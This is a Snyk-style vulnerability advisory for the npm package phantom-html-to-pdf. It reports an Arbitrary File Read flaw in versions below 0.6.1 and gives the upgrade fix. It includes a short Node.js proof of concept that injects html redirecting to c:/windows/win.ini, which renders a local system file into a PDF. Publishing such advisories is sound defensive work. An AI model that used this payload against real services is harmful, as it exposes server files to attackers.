phantom-html-to-pdf@0.3.2 vulnerabilities

Convert html to pdf using phantomjs

  • latest version

    0.8.3

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    1 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the phantom-html-to-pdf package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary File Read

    phantom-html-to-pdf is a Convert html to pdf using phantomjs

    Affected versions of this package are vulnerable to Arbitrary File Read.

    PoC

    var fs = require('fs')
    var conversion = require("phantom-html-to-pdf")();
    conversion.allowLocalFilesAccess = false
    conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf')
    console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
    });
    

    How to fix Arbitrary File Read?

    Upgrade phantom-html-to-pdf to version 0.6.1 or higher.

    <0.6.1